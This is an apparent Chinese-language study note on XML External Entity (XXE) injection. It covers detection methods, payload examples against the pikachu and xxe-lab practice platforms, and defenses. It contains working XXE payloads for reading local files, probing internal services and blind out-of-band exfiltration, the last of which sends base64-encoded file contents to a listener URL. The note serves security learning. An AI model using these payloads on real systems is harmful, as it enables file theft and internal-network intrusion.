1. 概念
XML: 指可扩展标记语言,被设计用来传输和存储数据。
XXE: 全称(XML External Entity Injection)XML外部实体注入,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站等危害。
2. 检测和利用
2.1 概要
检测
- 白盒: 函数及可控变量查找、传输和存储数据格式类型
- 黑盒: 人工、 工具
人工检测包含:
- 数据格式类型判断:<user>test</user><pass>Mikasa</pass>
- Content-Type值判断:text/xml、application/xml
- 更改Content-Type值看返回
利用
- 输出形式:有回显(http、file、各脚本协议、外部引用)、无回显(外部引用-反向链接配合)
- 过滤绕过:协议玩法、外部引用、编码UTF-16BE
2.2 实例
2.2.1 pikachu平台实例(有回显)
读文件
<?xml version = "1.0"?>
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "file:///usr//a.txt">
]>
<x>&xxe;</x>
内网探针或攻击内网应用
<?xml version = "1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY>
<!ENTITY rabbit SYSTEM "http://127.0.0.1:8080/index.txt">
]>
<x>&rabbit;</x>
引入外部实体dtd(需要开启 “允许外部条件使用”)
<?xml version = "1.0" ?>
<!DOCTYPE test [
<!ENTITY % file SYSTEM "http://127.0.0.1:8080/evil.dtd">
%file;
]>
<x>&send;</x>
evil.dtd文件:
<!ENTITY send SYSTEM "file:///usr//a.txt">
2.2.2 pikachu平台实例(无回显)
读取文件,将文件内容发送到特定网站(攻击者网站),通过查看日志文件得到结果
<!DOCTYPE ANY [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///usr//a.txt">
<!ENTITY % dtd SYSTEM "http://127.0.0.1:8080/evil.dtd">
%dtd;
%send;
]>
evil.dtd文件:
<!ENTITY % payload
"<!ENTITY % send SYSTEM 'http://127.0.0.1:8080/re.php?data=%file;'>"
>
%payload;
2.2.3 xxe-lab平台实例
检测思路和利用
- 提交的数据包包含XML格式如:
admin123 - 请求头中如:
Content-Type: application/xml;charset=utf-8 Content-Type: text/xml;charset=utf-8 - 构造payload,并上传
<?xml version = "1.0"?>
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "file:///usr//a.txt">
]>
<user><username>&xxe;</username><password>1</password></user>
3. 防御
1. 禁用外部实体 PHP Python Java
2. 过滤用户提交的XML数据
过滤关键词:<!DOCTYPE和<!ENTITY,或者SYSTEM和PUBLIC
3. 使用WAF产品
|